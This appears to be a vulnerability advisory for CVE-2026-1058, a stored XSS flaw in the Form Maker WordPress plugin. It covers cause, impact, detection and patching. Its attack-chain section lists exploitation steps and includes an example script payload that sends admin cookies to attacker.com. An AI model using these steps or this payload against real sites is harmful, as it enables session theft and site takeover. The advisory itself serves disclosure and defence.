CVE-2026-1058: 
WordPress vulnerability analysis and mitigation

CVE-2026-1058 is a Stored Cross-Site Scripting (XSS) vulnerability in the Form Maker by 10Web plugin for WordPress, affecting all versions up to and including 1.15.35. The flaw allows unauthenticated attackers to inject malicious JavaScript into the admin submissions view by submitting crafted hidden field values in forms. It was published on February 3, 2026, with the assigner credited as Wordfence. The vulnerability carries a CVSS v3.1 base score of 7.1 (High) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin applies html_entity_decode() to user-supplied hidden field values when rendering them in the admin submissions list (Submissions_fm.php, line ~759), but fails to apply any subsequent output escaping. This means an attacker can submit an HTML-entity-encoded XSS payload via a public-facing form; when the plugin decodes it for display, the payload becomes executable JavaScript rendered in the administrator's browser. No authentication or special privileges are required to submit the malicious form data (Wordfence, WordPress Trac).

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated administrator's browser session when they view the submissions list. This can lead to session token theft, unauthorized administrative actions (such as creating rogue admin accounts, installing malicious plugins, or modifying site content), and potential full site compromise. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the plugin itself to the broader WordPress installation and its data (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.085%, indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and only passive administrator interaction (viewing the submissions list), making it relatively straightforward to weaponize once a target site is identified (Wordfence, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites using the Form Maker by 10Web plugin (versions ≤ 1.15.35) via passive scanning tools (e.g., WPScan, Shodan) or by inspecting publicly accessible pages for form signatures.
2. Locate a public-facing form: Find a form on the target site that uses a hidden field, or craft a submission to a form that includes hidden field parameters.
3. Craft the malicious payload: Prepare an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) and HTML-entity-encode it (e.g., <script>...</script>) to bypass any front-end validation.
4. Submit the payload: Submit the form with the entity-encoded XSS payload in the hidden field value, either via the browser or using a tool like curl or Burp Suite.
5. Wait for administrator interaction: The payload is stored in the submissions database. When an administrator navigates to the submissions list in the WordPress admin panel, the plugin decodes the entity-encoded value and renders it as raw HTML/JavaScript.
6. Achieve objective: The injected script executes in the administrator's browser, enabling session cookie theft, creation of a backdoor admin account, or other unauthorized actions (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing POST requests to form submission endpoints from unexpected or anonymous IPs, particularly with unusual or encoded field values in the request body.
• Database: Entries in the form submissions table (wp_formmaker_submits or similar) containing HTML-entity-encoded script tags or JavaScript event handlers in hidden field columns.
• Network: Outbound HTTP requests from the administrator's browser to unknown external domains shortly after accessing the WordPress admin submissions page (indicative of data exfiltration).
• Admin Panel: Unexpected new administrator accounts created, unauthorized plugin installations, or modified site settings following an administrator's review of form submissions.
• File System: New or modified PHP files in the WordPress plugins or uploads directory that were not part of a legitimate update, potentially indicating a web shell dropped via the XSS payload.

Users should update the Form Maker by 10Web plugin to version 1.15.36 or later, which addresses the insufficient output escaping by applying proper sanitization after html_entity_decode(). The patch is available via the WordPress plugin repository (WordPress Trac Changeset). As a temporary workaround, administrators can restrict access to the submissions list to trusted IP addresses via server-level controls, or temporarily disable the plugin until the update is applied. Enabling a Web Application Firewall (WAF) with XSS filtering rules can also help mitigate exploitation attempts.

Wordfence, which discovered and disclosed the vulnerability, published it in their weekly WordPress vulnerability report for the period of February 2–8, 2026, highlighting it as a notable unauthenticated stored XSS issue (Wordfence Blog). The vulnerability was also tracked by security aggregators including Vulners, VulDB, and CIRCL, indicating standard community awareness. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified.